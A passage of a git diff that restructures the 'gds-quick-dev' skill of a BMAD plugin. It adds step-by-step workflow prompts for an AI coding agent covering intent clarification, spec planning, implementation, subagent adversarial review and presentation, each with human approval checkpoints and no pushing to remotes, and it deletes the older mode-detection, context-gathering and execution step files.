+This runs on ALL paths (early-exit and INSTRUCTIONS) whenever `spec_file` is set. Determine whether the spec is an epic story — use the spec's filename, frontmatter, and any loaded epics file to identify `{epic_num}` and `{story_num}`. If the spec is not an epic story, skip silently and leave `{story_key}` unset.
+
+If the spec is an epic story and `{sprint_status}` exists: find the `development_status` key matching `{epic_num}-{story_num}` by exact numeric equality on the first two segments (so `1-1` never collides with `1-10`). Exactly one match → set `{story_key}` to that full key. Zero or multiple matches → leave `{story_key}` unset (warn on multiple).
+
+## INSTRUCTIONS
+
+1. Load context.
+   - List files in `{planning_artifacts}` and `{implementation_artifacts}`.
+   - If you find an unformatted spec or intent file, ingest its contents to form your understanding of the intent.
+   - **Determine context strategy.** Using the intent and the artifact listing, infer whether the current work is a story from an epic. Do not rely on filename patterns or regex — reason about the intent, the listing, and any epics file content together.
+
+     **A) Epic story path** — if the intent is clearly an epic story:
+
+     1. Identify the epic number `{epic_num}` and (if present) the story number `{story_num}`. If you can't identify an epic number, use path B.
+
+     2. **Check for a valid cached epic context.** Look for `{implementation_artifacts}/epic-<N>-context.md` (where `<N>` is the epic number). A file is **valid** when it exists, is non-empty, starts with `# Epic <N> Context:` (with the correct epic number), and no file in `{planning_artifacts}` is newer.
+        - **If valid:** load it as the primary planning context. Do not load raw planning docs (PRD, architecture, UX, etc.). Skip to step 5.
+        - **If missing, empty, or invalid:** continue to step 3.
+
+     3. **Compile epic context.** Produce `{implementation_artifacts}/epic-<N>-context.md` by following `./compile-epic-context.md`, in order of preference:
+        - **Preferred — sub-agent:** spawn a sub-agent with `./compile-epic-context.md` as its prompt. Pass it the epic number, the epics file path, the `{planning_artifacts}` directory, and the output path `{implementation_artifacts}/epic-<N>-context.md`.
+        - **Fallback — inline** (for runtimes without sub-agent support, e.g. Copilot, Codex, local Ollama, older Claude): if your runtime cannot spawn sub-agents, or the spawn fails/times out, read `./compile-epic-context.md` yourself and follow its instructions to produce the same output file.
+
+     4. **Verify.** After compilation, verify the output file exists, is non-empty, and starts with `# Epic <N> Context:`. If valid, load it. If verification fails, HALT and report the failure.
+
+     5. **Previous story continuity.** Regardless of which context source succeeded above, scan `{implementation_artifacts}` for specs from the same epic with `status: done` and a lower story number. Load the most recent one (highest story number below current). Extract its **Code Map**, **Design Notes**, **Spec Change Log**, and **task list** as continuity context for step-02 planning. If no `done` spec is found but an `in-review` spec exists for the same epic with a lower story number, note it to the user and ask whether to load it.
+
+     6. **Resolve `{story_key}`.** If not already set by an earlier early-exit path, run **Story-key resolution** (above) now.
+
+     **B) Freeform path** — if the intent is not an epic story:
+     - Planning artifacts are the output of BMAD phases 1-3. Typical files include:
+       - **PRD** (`*prd*`) — product requirements and success criteria
+       - **Architecture** (`*architecture*`) — technical design decisions and constraints
+       - **UX/Design** (`*ux*`) — user experience and interaction design
+       - **Epics** (`*epic*`) — feature breakdown into implementable stories
+       - **Product Brief** (`*brief*`) — project vision and scope
+     - Scan the listing for files matching these patterns. If any look relevant to the current intent, load them selectively — you don't need all of them, but you need the right constraints and requirements rather than guessing from code alone.
+2. Clarify intent. Do not fantasize, do not leave open questions. If you must ask questions, ask them as a numbered list. When the human replies, verify that every single numbered question was answered. If any were ignored, HALT and re-ask only the missing questions before proceeding. Keep looping until intent is clear enough to implement.
+3. Version control sanity check. Is the working tree clean? Does the current branch make sense for this intent — considering its name and recent history? If the tree is dirty or the branch is an obvious mismatch, HALT and ask the human before proceeding. If version control is unavailable, skip this check.
+4. Multi-goal check (see SCOPE STANDARD). If the intent fails the single-goal criteria:
+   - Present detected distinct goals as a bullet list.
+   - Explain briefly (2–4 sentences): why each goal qualifies as independently shippable, any coupling risks if split, and which goal you recommend tackling first.
+   - HALT and ask human: `[S] Split — pick first goal, defer the rest` | `[K] Keep all goals — accept the risks`
+   - On **S**: Append deferred goals to `{deferred_work_file}`. Narrow scope to the first-mentioned goal. Continue routing.
+   - On **K**: Proceed as-is.
+5. Route — choose exactly one:
+
+   Derive a valid kebab-case slug from the clarified intent. If the intent references a tracking identifier (story number, issue number, ticket ID), lead the slug with it (e.g. `3-2-digest-delivery`, `gh-47-fix-auth`). If `{implementation_artifacts}/spec-{slug}.md` already exists: if its status is `draft`, treat it as the same work and resume it (set `spec_file` to that path, **EARLY EXIT** → `./step-02-plan.md`); otherwise append `-2`, `-3`, etc. Set `spec_file` = `{implementation_artifacts}/spec-{slug}.md`.
+
+   **a) One-shot** — zero blast radius: no plausible path by which this change causes unintended consequences elsewhere. Clear intent, no architectural decisions.
+
+   **EARLY EXIT** → `./step-oneshot.md`
+
+   **b) Plan-code-review** — everything else. When uncertain whether blast radius is truly zero, choose this path.
+
+
+## NEXT
+
+Read fully and follow `./step-02-plan.md`
diff --git a/plugins/bmad/skills/gds-quick-dev/step-02-plan.md b/plugins/bmad/skills/gds-quick-dev/step-02-plan.md
new file mode 100644
index 0000000..0158bbf
--- /dev/null
+++ b/plugins/bmad/skills/gds-quick-dev/step-02-plan.md
@@ -0,0 +1,47 @@
+---
+deferred_work_file: '{implementation_artifacts}/deferred-work.md'
+---
+
+# Step 2: Plan
+
+## RULES
+
+- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`
+- No intermediate approvals.
+
+## INSTRUCTIONS
+
+1. Draft resume check. If `{spec_file}` exists with `status: draft`, read it and capture the verbatim `<frozen-after-approval>...</frozen-after-approval>` block as `preserved_intent`. Otherwise `preserved_intent` is empty.
+2. Investigate codebase. _Isolate deep exploration in sub-agents/tasks where available. To prevent context snowballing, instruct subagents to give you distilled summaries only._
+3. Read `./spec-template.md` fully. Fill it out based on the intent and investigation. If `{preserved_intent}` is non-empty, substitute it for the `<frozen-after-approval>` block in your filled spec before writing. Write the result to `{spec_file}`.
+4. Self-review against READY FOR DEVELOPMENT standard.
+5. If intent gaps exist, do not fantasize, do not leave open questions, HALT and ask the human.
+6. Token count check (see SCOPE STANDARD). If spec exceeds 1600 tokens:
+   - Show user the token count.
+   - HALT and ask human: `[S] Split — carve off secondary goals` | `[K] Keep full spec — accept the risks`
+   - On **S**: Propose the split — name each secondary goal. Append deferred goals to `{deferred_work_file}`. Rewrite the current spec to cover only the main goal — do not surgically carve sections out; regenerate the spec for the narrowed scope. Continue to checkpoint.
+   - On **K**: Continue to checkpoint with full spec.
+
+### CHECKPOINT 1
+
+Present summary. Display the spec file path as a CWD-relative path (no leading `/`) so it is clickable in the terminal. If token count exceeded 1600 and user chose [K], include the token count and explain why it may be a problem.
+
+After presenting the summary, display this note:
+
+---
+
+Before approving, you can open the spec file in an editor or ask me questions and tell me what to change. You can also use `bmad-advanced-elicitation`, `bmad-party-mode`, or `gds-code-review` skills, ideally in another session to avoid context bloat.
+
+---
+
+HALT and ask human: `[A] Approve` | `[E] Edit`
+
+- **A**: Re-read `{spec_file}` from disk.
+  - **If the file is missing:** HALT. Tell the user the spec file is gone and STOP — do not write anything to `{spec_file}`, do not set status, do not proceed to Step 3. Nothing below this point runs.
+  - **If the file exists:** Compare the content to what you wrote. If it has changed since you wrote it, acknowledge the external edits — show a brief summary of what changed — and proceed with the updated version. Then set status `ready-for-dev` in `{spec_file}`. Everything inside `<frozen-after-approval>` is now locked — only the human can change it. → Step 3.
+- **E**: Apply changes, then return to CHECKPOINT 1.
+
+
+## NEXT
+
+Read fully and follow `./step-03-implement.md`
diff --git a/plugins/bmad/skills/gds-quick-dev/step-03-implement.md b/plugins/bmad/skills/gds-quick-dev/step-03-implement.md
new file mode 100644
index 0000000..fa2db51
--- /dev/null
+++ b/plugins/bmad/skills/gds-quick-dev/step-03-implement.md
@@ -0,0 +1,41 @@
+---
+---
+
+# Step 3: Implement
+
+## RULES
+
+- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`
+- No push. No remote ops.
+- Sequential execution only.
+- Content inside `<frozen-after-approval>` in `{spec_file}` is read-only. Do not modify.
+
+## PRECONDITION
+
+Verify `{spec_file}` resolves to a non-empty path and the file exists on disk. If empty or missing, HALT and ask the human to provide the spec file path before proceeding.
+
+## INSTRUCTIONS
+
+### Baseline
+
+Capture `baseline_commit` (current HEAD, or `NO_VCS` if version control is unavailable) into `{spec_file}` frontmatter before making any changes.
+
+### Implement
+
+Change `{spec_file}` status to `in-progress` in the frontmatter before starting implementation.
+
+Follow `./sync-sprint-status.md` with `{target_status}` = `in-progress`.
+
+If `{spec_file}` has a non-empty `context:` list in its frontmatter, load those files before implementation begins. When handing to a sub-agent, include them in the sub-agent prompt so it has access to the referenced context.
+
+Hand `{spec_file}` to a sub-agent/task and let it implement. If no sub-agents are available, implement directly.
+
+**Path formatting rule:** Any markdown links written into `{spec_file}` must use paths relative to `{spec_file}`'s directory so they are clickable in VS Code. Any file paths displayed in terminal/conversation output must use CWD-relative format with `:line` notation (e.g., `src/path/file.ts:42`) for terminal clickability. No leading `/` in either case.
+
+### Self-Check
+
+Before leaving this step, verify every task in the `## Tasks & Acceptance` section of `{spec_file}` is complete. Mark each finished task `[x]`. If any task is not done, finish it before proceeding.
+
+## NEXT
+
+Read fully and follow `./step-04-review.md`
diff --git a/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-04-review.md b/plugins/bmad/skills/gds-quick-dev/step-04-review.md
similarity index 76%
rename from plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-04-review.md
rename to plugins/bmad/skills/gds-quick-dev/step-04-review.md
index a9f0199..2d96fd2 100644
--- a/plugins/bmad/skills/gds-quick-dev-new-preview/steps/step-04-review.md
+++ b/plugins/bmad/skills/gds-quick-dev/step-04-review.md
@@ -1,7 +1,4 @@
 ---
-name: 'step-04-review'
-description: 'Adversarial review, classify findings, optional spec loop'
-
 deferred_work_file: '{implementation_artifacts}/deferred-work.md'
 specLoopIteration: 1
 ---
@@ -12,12 +9,13 @@ specLoopIteration: 1
 
 - YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`
 - Review subagents get NO conversation context.
+- All review subagents must run at the same model capability as the current session.
 
 ## INSTRUCTIONS
 
 Change `{spec_file}` status to `in-review` in the frontmatter before continuing.
 
-### Construct Diff (plan-code-review only)
+### Construct Diff
 
 Read `{baseline_commit}` from `{spec_file}` frontmatter. If `{baseline_commit}` is missing or `NO_VCS`, use best effort to determine what changed. Otherwise, construct `{diff_output}` covering all changes — tracked and untracked — since `{baseline_commit}`.
 
@@ -25,9 +23,7 @@ Do NOT `git add` anything — this is read-only inspection.
 
 ### Review
 
-**One-shot:** Skip diff construction. Still invoke the `bmad-review-adversarial-general` skill in a subagent with the changed files — inline review invites anchoring bias.
-
-**Plan-code-review:** Launch three subagents without conversation context. If no sub-agents are available, generate three review prompt files in `{implementation_artifacts}` — one per reviewer role below — and HALT. Ask the human to run each in a separate session (ideally a different LLM) and paste back the findings.
+Launch three subagents without conversation context. If no sub-agents are available, generate three review prompt files in `{implementation_artifacts}` — one per reviewer role below — and HALT. Ask the human to run each in a separate session (ideally a different LLM) and paste back the findings.
 
 - **Blind hunter** — receives `{diff_output}` only. No spec, no context docs, no project access. Invoke via the `bmad-review-adversarial-general` skill.
 - **Edge case hunter** — receives `{diff_output}` and read access to the project. Invoke via the `bmad-review-edge-case-hunter` skill.
@@ -42,12 +38,13 @@ Do NOT `git add` anything — this is read-only inspection.
    - **patch** — caused by the change; trivially fixable without human input. Just part of the diff.
    - **defer** — pre-existing issue not caused by this story, surfaced incidentally by the review. Collect for later focused attention.
    - **reject** — noise. Drop silently. When unsure between defer and reject, prefer reject — only defer findings you are confident are real.
-3. Process findings in cascading order. If intent_gap or bad_spec findings exist, they trigger a loopback — lower findings are moot since code will be re-derived. If neither exists, process patch and defer normally. Increment `{specLoopIteration}` on each loopback. If it exceeds 5, HALT and escalate to the human. On any loopback, re-evaluate routing — if scope has grown beyond one-shot, escalate `execution_mode` to plan-code-review.
-   - **intent_gap** — Root cause is inside `<frozen-after-approval>`. Revert code changes. Loop back to the human to resolve. Once resolved, read fully and follow `./steps/step-02-plan.md` to re-run steps 2–4.
-   - **bad_spec** — Root cause is outside `<frozen-after-approval>`. Before reverting code: extract KEEP instructions for positive preservation (what worked well and must survive re-derivation). Revert code changes. Read the `## Spec Change Log` in `{spec_file}` and strictly respect all logged constraints when amending the non-frozen sections that contain the root cause. Append a new change-log entry recording: the triggering finding, what was amended, the known-bad state avoided, and the KEEP instructions. Read fully and follow `./steps/step-03-implement.md` to re-derive the code, then this step will run again.
+3. Process findings in cascading order. If intent_gap or bad_spec findings exist, they trigger a loopback — lower findings are moot since code will be re-derived. If neither exists, process patch and defer normally. Increment `{specLoopIteration}` on each loopback. If it exceeds 5, HALT and escalate to the human.
+   - **intent_gap** — Root cause is inside `<frozen-after-approval>`. Revert code changes. Loop back to the human to resolve. Once resolved, read fully and follow `./step-02-plan.md` to re-run steps 2–4.
+   - **bad_spec** — Root cause is outside `<frozen-after-approval>`. Before reverting code: extract KEEP instructions for positive preservation (what worked well and must survive re-derivation). Revert code changes. Read the `## Spec Change Log` in `{spec_file}` and strictly respect all logged constraints when amending the non-frozen sections that contain the root cause. Append a new change-log entry recording: the triggering finding, what was amended, the known-bad state avoided, and the KEEP instructions. Read fully and follow `./step-03-implement.md` to re-derive the code, then this step will run again.
    - **patch** — Auto-fix. These are the only findings that survive loopbacks.
    - **defer** — Append to `{deferred_work_file}`.
    - **reject** — Drop silently.
+
 ## NEXT
 
-Read fully and follow `./steps/step-05-present.md`
+Read fully and follow `./step-05-present.md`
diff --git a/plugins/bmad/skills/gds-quick-dev/step-05-present.md b/plugins/bmad/skills/gds-quick-dev/step-05-present.md
new file mode 100644
index 0000000..6b1a150
--- /dev/null
+++ b/plugins/bmad/skills/gds-quick-dev/step-05-present.md
@@ -0,0 +1,72 @@
+---
+---
+
+# Step 5: Present
+
+## RULES
+
+- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`
+- NEVER auto-push.
+
+## INSTRUCTIONS
+
+### Generate Suggested Review Order
+
+Read `{baseline_commit}` from `{spec_file}` frontmatter and construct the diff of all changes since that commit.
+
+Append the review order as a `## Suggested Review Order` section to `{spec_file}` **after the last existing section**. Do not modify the Code Map.
+
+Build the trail as an ordered sequence of **stops** — clickable `path:line` references with brief framing — optimized for a human reviewer reading top-down to understand the change:
+
+1. **Order by concern, not by file.** Group stops by the conceptual concern they address (e.g., "validation logic", "schema change", "UI binding"). A single file may appear under multiple concerns.
+2. **Lead with the entry point** — the single highest-leverage file:line a reviewer should look at first to grasp the design intent.
+3. **Inside each concern**, order stops from most important / architecturally interesting to supporting. Lightly bias toward higher-risk or boundary-crossing stops.
+4. **End with peripherals** — tests, config, types, and other supporting changes come last.
+5. **Every code reference is a clickable spec-file-relative link.** Compute each link target as a relative path from `{spec_file}`'s directory to the changed file. Format each stop as a markdown link: `[short-name:line](../../path/to/file.ts#L42)`. Use a `#L` line anchor. Use the file's basename (or shortest unambiguous suffix) plus line number as the link text. The relative path must be dynamically derived — never hardcode the depth.
+6. **Each stop gets one ultra-concise line of framing** (≤15 words) — why this approach was chosen here and what it achieves in the context of the change. No paragraphs.
+
+Format each stop as framing first, link on the next indented line:
+
+```markdown
+## Suggested Review Order
+
+**{Concern name}**
+
+- {one-line framing}
+  [`file.ts:42`](../../src/path/to/file.ts#L42)
+
+- {one-line framing}
+  [`other.ts:17`](../../src/path/to/other.ts#L17)
+
+**{Next concern}**
+
+- {one-line framing}
+  [`file.ts:88`](../../src/path/to/file.ts#L88)
+```
+
+> The `../../` prefix above is illustrative — compute the actual relative path from `{spec_file}`'s directory to each target file.
+
+When there is only one concern, omit the bold label — just list the stops directly.
+
+### Mark Spec Done
+
+Change `{spec_file}` status to `done` in the frontmatter.
+
+Follow `./sync-sprint-status.md` with `{target_status}` = `review`.
+
+### Commit and Open
+
+1. If version control is available and the tree is dirty, create a local commit with a conventional message derived from the spec title.
+2. Open the spec in the user's editor so they can click through the Suggested Review Order:
+   - Resolve two absolute paths: (1) the repository root (`git rev-parse --show-toplevel` — returns the worktree root when in a worktree, project root otherwise; if this fails, fall back to the current working directory), (2) `{spec_file}`. Run `code -r "{absolute-root}" "{absolute-spec-file}"` — the root first so VS Code opens in the right context, then the spec file. Always double-quote paths to handle spaces and special characters.
+   - If `code` is not available (command fails), skip gracefully and tell the user the spec file path instead.
+
+### Display Summary
+
+Display summary of your work to the user, including the commit hash if one was created. Any file paths shown in conversation/terminal output must use CWD-relative format (no leading `/`) with `:line` notation (e.g., `src/path/file.ts:42`) for terminal clickability — the goal is to make paths clickable in terminal emulators. Include:
+
+- A note that the spec is open in their editor (or the file path if it couldn't be opened). Mention that `{spec_file}` now contains a Suggested Review Order.
+- **Navigation tip:** "Ctrl+click (Cmd+click on macOS) the links in the Suggested Review Order to jump to each stop."
+- Offer to push and/or create a pull request.
+
+Workflow complete.
diff --git a/plugins/bmad/skills/gds-quick-dev/step-oneshot.md b/plugins/bmad/skills/gds-quick-dev/step-oneshot.md
new file mode 100644
index 0000000..62192c7
--- /dev/null
+++ b/plugins/bmad/skills/gds-quick-dev/step-oneshot.md
@@ -0,0 +1,65 @@
+---
+deferred_work_file: '{implementation_artifacts}/deferred-work.md'
+---
+
+# Step One-Shot: Implement, Review, Present
+
+## RULES
+
+- YOU MUST ALWAYS SPEAK OUTPUT in your Agent communication style with the config `{communication_language}`
+- NEVER auto-push.
+
+## INSTRUCTIONS
+
+### Implement
+
+Follow `./sync-sprint-status.md` with `{target_status}` = `in-progress`.
+
+Implement the clarified intent directly.
+
+### Review
+
+Invoke the `bmad-review-adversarial-general` skill in a subagent with the changed files. The subagent gets NO conversation context — to avoid anchoring bias. Launch at the same model capability as the current session. If no sub-agents are available, write the changed files to a review prompt file in `{implementation_artifacts}` and HALT. Ask the human to run the review in a separate session and paste back the findings.
+
+### Classify
+
+Deduplicate all review findings. Three categories only:
+
+- **patch** — trivially fixable. Auto-fix immediately.
+- **defer** — pre-existing issue not caused by this change. Append to `{deferred_work_file}`.
+- **reject** — noise. Drop silently.
+
+If a finding is caused by this change but too significant for a trivial patch, HALT and present it to the human for decision before proceeding.
+
+### Generate Spec Trace
+
+Set `{title}` = a concise title derived from the clarified intent.
+
+Write `{spec_file}` using `./spec-template.md`. Fill only these sections — delete all others:
+
+1. **Frontmatter** — set `title: '{title}'`, `type`, `created`, `status: 'done'`. Add `route: 'one-shot'`.
+2. **Title and Intent** — `# {title}` heading and `## Intent` with **Problem** and **Approach** lines. Reuse the summary you already generated for the terminal.
+3. **Suggested Review Order** — append after Intent. Build using the same convention as `./step-05-present.md` § "Generate Suggested Review Order" (spec-file-relative links, concern-based ordering, ultra-concise framing).
+
+Follow `./sync-sprint-status.md` with `{target_status}` = `review`.
+
+### Commit
+
+If version control is available and the tree is dirty, create a local commit with a conventional message derived from the intent. If VCS is unavailable, skip.
+
+### Present
+
+1. Open the spec in the user's editor so they can click through the Suggested Review Order:
+   - Resolve two absolute paths: (1) the repository root (`git rev-parse --show-toplevel` — returns the worktree root when in a worktree, project root otherwise; if this fails, fall back to the current working directory), (2) `{spec_file}`. Run `code -r "{absolute-root}" "{absolute-spec-file}"` — the root first so VS Code opens in the right context, then the spec file. Always double-quote paths to handle spaces and special characters.
+   - If `code` is not available (command fails), skip gracefully and tell the user the spec file path instead.
+2. Display a summary in conversation output, including:
+   - The commit hash (if one was created).
+   - List of files changed with one-line descriptions. Any file paths shown in conversation/terminal output must use CWD-relative format (no leading `/`) with `:line` notation (e.g., `src/path/file.ts:42`) for terminal clickability — this differs from spec-file links which use spec-file-relative paths.
+   - Review findings breakdown: patches applied, items deferred, items rejected. If all findings were rejected, say so.
+   - A note that the spec is open in their editor (or the file path if it couldn't be opened). Mention that `{spec_file}` now contains a Suggested Review Order.
+   - **Navigation tip:** "Ctrl+click (Cmd+click on macOS) the links in the Suggested Review Order to jump to each stop."
+3. Offer to push and/or create a pull request.
+
+HALT and wait for human input.
+
+Workflow complete.
diff --git a/plugins/bmad/skills/gds-quick-dev/steps/step-01-mode-detection.md b/plugins/bmad/skills/gds-quick-dev/steps/step-01-mode-detection.md
deleted file mode 100644
index 51247cd..0000000
--- a/plugins/bmad/skills/gds-quick-dev/steps/step-01-mode-detection.md
+++ /dev/null
@@ -1,156 +0,0 @@
----
-name: 'step-01-mode-detection'
-description: 'Determine execution mode (tech-spec vs direct), handle escalation, set state variables'
-
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-quick-dev'
-thisStepFile: './step-01-mode-detection.md'
-nextStepFile_modeA: './step-03-execute.md'
-nextStepFile_modeB: './step-02-context-gathering.md'
----
-
-# Step 1: Mode Detection
-
-**Goal:** Determine execution mode, capture baseline, handle escalation if needed.
-
----
-
-## STATE VARIABLES (capture now, persist throughout)
-
-These variables MUST be set in this step and available to all subsequent steps:
-
-- `{baseline_commit}` - Git HEAD at workflow start (or "NO_GIT" if not a git repo)
-- `{execution_mode}` - "tech-spec" or "direct"
-- `{tech_spec_path}` - Path to tech-spec file (if Mode A)
-
----
-
-## EXECUTION SEQUENCE
-
-### 1. Capture Baseline
-
-First, check if the project uses Git version control:
-
-**If Git repo exists** (`.git` directory present or `git rev-parse --is-inside-work-tree` succeeds):
-
-- Run `git rev-parse HEAD` and store result as `{baseline_commit}`
-
-**If NOT a Git repo:**
-
-- Set `{baseline_commit}` = "NO_GIT"
-
-### 2. Load Project Context
-
-Check if `{project_context}` exists (`**/project-context.md`). If found, load it as a foundational reference for ALL implementation decisions.
-
-### 3. Parse User Input
-
-Analyze the user's input to determine mode:
-
-**Mode A: Tech-Spec**
-
-- User provided a path to a tech-spec file (e.g., `quick-dev tech-spec-auth.md`)
-- Load the spec, extract tasks/context/AC
-- Set `{execution_mode}` = "tech-spec"
-- Set `{tech_spec_path}` = provided path
-- **NEXT:** Load `step-03-execute.md`
-
-**Mode B: Direct Instructions**
-
-- User provided task description directly (e.g., `refactor src/foo.ts...`)
-- Set `{execution_mode}` = "direct"
-- **NEXT:** Evaluate escalation threshold, then proceed
-
----
-
-## ESCALATION THRESHOLD (Mode B only)
-
-Evaluate user input with minimal token usage (no file loading):
-
-**Triggers escalation (if 2+ signals present):**
-
-- Multiple components mentioned (dashboard + api + database)
-- System-level language (platform, integration, architecture)
-- Uncertainty about approach ("how should I", "best way to")
-- Multi-layer scope (UI + backend + data together)
-- Extended timeframe ("this week", "over the next few days")
-
-**Reduces signal:**
-
-- Simplicity markers ("just", "quickly", "fix", "bug", "typo", "simple")
-- Single file/component focus
-- Confident, specific request
-
-Use holistic judgment, not mechanical keyword matching.
-
----
-
-## ESCALATION HANDLING
-
-### No Escalation (simple request)
-
-Present choice:
-
-```
-**[t] Plan first** - Create tech-spec then implement
-**[e] Execute directly** - Start now
-```
-
-- **[t]:** Direct user to `{quick_spec_workflow}`. **EXIT Quick Dev.**
-- **[e]:** Ask for any additional guidance, then **NEXT:** Load `step-02-context-gathering.md`
-
-### Escalation Triggered - Level 0-2
-
-```
-This looks like a focused feature with multiple components.
-
-**[t] Create tech-spec first** (recommended)
-**[w] Seems bigger than quick-dev** - see what BMad Method recommends
-**[e] Execute directly**
-```
-
-- **[t]:** Direct to `{quick_spec_workflow}`. **EXIT Quick Dev.**
-- **[w]:** Direct to `{workflow_init}`. **EXIT Quick Dev.**
-- **[e]:** Ask for guidance, then **NEXT:** Load `step-02-context-gathering.md`
-
-### Escalation Triggered - Level 3+
-
-```
-This sounds like platform/system work.
-
-**[w] Start GDS Method** (recommended)
-**[t] Create tech-spec** (lighter planning)
-**[e] Execute directly** - feeling lucky
-```
-
-- **[w]:** Direct to `{workflow_init}`. **EXIT Quick Dev.**
-- **[t]:** Direct to `{quick_spec_workflow}`. **EXIT Quick Dev.**
-- **[e]:** Ask for guidance, then **NEXT:** Load `step-02-context-gathering.md`
-
----
-
-## NEXT STEP DIRECTIVE
-
-**CRITICAL:** When this step completes, explicitly state which step to load:
-
-- Mode A (tech-spec): "**NEXT:** Loading `step-03-execute.md`"
-- Mode B (direct, [e] selected): "**NEXT:** Loading `step-02-context-gathering.md`"
-- Escalation ([t] or [w]): "**EXITING Quick Dev.** Follow the directed workflow."
-
----
-
-## SUCCESS METRICS
-
-- `{baseline_commit}` captured and stored
-- `{execution_mode}` determined ("tech-spec" or "direct")
-- `{tech_spec_path}` set if Mode A
-- Project context loaded if exists
-- Escalation evaluated appropriately (Mode B)
-- Explicit NEXT directive provided
-
-## FAILURE MODES
-
-- Proceeding without capturing baseline commit
-- Not setting execution_mode variable
-- Loading step-02 when Mode A (tech-spec provided)
-- Attempting to "return" after escalation instead of EXIT
-- No explicit NEXT directive at step completion
diff --git a/plugins/bmad/skills/gds-quick-dev/steps/step-02-context-gathering.md b/plugins/bmad/skills/gds-quick-dev/steps/step-02-context-gathering.md
deleted file mode 100644
index 0821b35..0000000
--- a/plugins/bmad/skills/gds-quick-dev/steps/step-02-context-gathering.md
+++ /dev/null
@@ -1,120 +0,0 @@
----
-name: 'step-02-context-gathering'
-description: 'Quick context gathering for direct mode - identify files, patterns, dependencies'
-
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-quick-dev'
-thisStepFile: './step-02-context-gathering.md'
-nextStepFile: './step-03-execute.md'
----
-
-# Step 2: Context Gathering (Direct Mode)
-
-**Goal:** Quickly gather context for direct instructions - files, patterns, dependencies.
-
-**Note:** This step only runs for Mode B (direct instructions). If `{execution_mode}` is "tech-spec", this step was skipped.
-
----
-
-## AVAILABLE STATE
-
-From step-01:
-
-- `{baseline_commit}` - Git HEAD at workflow start
-- `{execution_mode}` - Should be "direct"
-- `{project_context}` - Loaded if exists
-
----
-
-## EXECUTION SEQUENCE
-
-### 1. Identify Files to Modify
-
-Based on user's direct instructions:
-
-- Search for relevant files using glob/grep
-- Identify the specific files that need changes
-- Note file locations and purposes
-
-### 2. Find Relevant Patterns
-
-Examine the identified files and their surroundings:
-
-- Code style and conventions used
-- Existing patterns for similar functionality
-- Import/export patterns
-- Error handling approaches
-- Test patterns (if tests exist nearby)
-
-### 3. Note Dependencies
-
-Identify:
-
-- External libraries used
-- Internal module dependencies
-- Configuration files that may need updates
-- Related files that might be affected
-
-### 4. Create Mental Plan
-
-Synthesize gathered context into:
-
-- List of tasks to complete
-- Acceptance criteria (inferred from user request)
-- Order of operations
-- Files to touch
-
----
-
-## PRESENT PLAN
-
-Display to user:
-
-```
-**Context Gathered:**
-
-**Files to modify:**
-- {list files}
-
-**Patterns identified:**
-- {key patterns}
-
-**Plan:**
-1. {task 1}
-2. {task 2}
-...
-
-**Inferred AC:**
-- {acceptance criteria}
-
-Ready to execute? (y/n/adjust)
-```
-
-- **y:** Proceed to execution
-- **n:** Gather more context or clarify
-- **adjust:** Modify the plan based on feedback
-
----
-
-## NEXT STEP DIRECTIVE
-
-**CRITICAL:** When user confirms ready, explicitly state:
-
-- **y:** "**NEXT:** Loading `step-03-execute.md`"
-- **n/adjust:** Continue gathering context, then re-present plan
-
----
-
-## SUCCESS METRICS
-
-- Files to modify identified
-- Relevant patterns documented
-- Dependencies noted
-- Mental plan created with tasks and AC
-- User confirmed readiness to proceed
-
-## FAILURE MODES
-
-- Executing this step when Mode A (tech-spec)
-- Proceeding without identifying files to modify
-- Not presenting plan for user confirmation
-- Missing obvious patterns in existing code
diff --git a/plugins/bmad/skills/gds-quick-dev/steps/step-03-execute.md b/plugins/bmad/skills/gds-quick-dev/steps/step-03-execute.md
deleted file mode 100644
index 76faaa6..0000000
--- a/plugins/bmad/skills/gds-quick-dev/steps/step-03-execute.md
+++ /dev/null
@@ -1,113 +0,0 @@
----
-name: 'step-03-execute'
-description: 'Execute implementation - iterate through tasks, write code, run tests'
-
-workflow_path: '${CLAUDE_PLUGIN_ROOT}/skills/gds-quick-dev'
-thisStepFile: './step-03-execute.md'
-nextStepFile: './step-04-self-check.md'
----
-
-# Step 3: Execute Implementation
-
-**Goal:** Implement all tasks, write tests, follow patterns, handle errors.
-
-**Critical:** Continue through ALL tasks without stopping for milestones.
-
----
-
-## AVAILABLE STATE
-
-From previous steps:
-
-- `{baseline_commit}` - Git HEAD at workflow start
-- `{execution_mode}` - "tech-spec" or "direct"
-- `{tech_spec_path}` - Tech-spec file (if Mode A)
-- `{project_context}` - Project patterns (if exists)
-
-From context:
-
-- Mode A: Tasks and AC extracted from tech-spec
-- Mode B: Tasks and AC from step-02 mental plan
-
----
-
-## EXECUTION LOOP
-
-For each task:
-
-### 1. Load Context
-
-- Read files relevant to this task
-- Review patterns from project-context or observed code
-- Understand dependencies
-
-### 2. Implement
-
-- Write code following existing patterns
-- Handle errors appropriately
-- Follow conventions observed in codebase
-- Add appropriate comments where non-obvious
-
-### 3. Test
-
-- Write tests if appropriate for the change
-- Run existing tests to catch regressions
-- Verify the specific AC for this task
-
-### 4. Mark Complete
-
-- Check off task: `- [x] Task N`
-- Continue to next task immediately
-
----
-
-## HALT CONDITIONS
-
-**HALT and request guidance if:**
-
-- 3 consecutive failures on same task
-- Tests fail and fix is not obvious
-- Blocking dependency discovered
-- Ambiguity that requires user decision
-
-**Do NOT halt for:**
-
-- Minor issues that can be noted and continued
-- Warnings that don't block functionality
-- Style preferences (follow existing patterns)
-
----
-
-## CONTINUOUS EXECUTION
-
-**Critical:** Do not stop between tasks for approval.
-
-- Execute all tasks in sequence
-- Only halt for blocking issues
-- Tests failing = fix before continuing
-- Track all completed work for self-check
-
----
-
-## NEXT STEP
-
-When ALL tasks are complete (or halted on blocker), load `step-04-self-check.md`.
-
----
-
-## SUCCESS METRICS
-
-- All tasks attempted
-- Code follows existing patterns
-- Error handling appropriate
-- Tests written where appropriate
-- Tests passing
-- No unnecessary halts
-
-## FAILURE MODES
-
-- Stopping for approval between tasks
-- Ignoring existing patterns
-- Not running tests after changes
-- Giving up after first failure
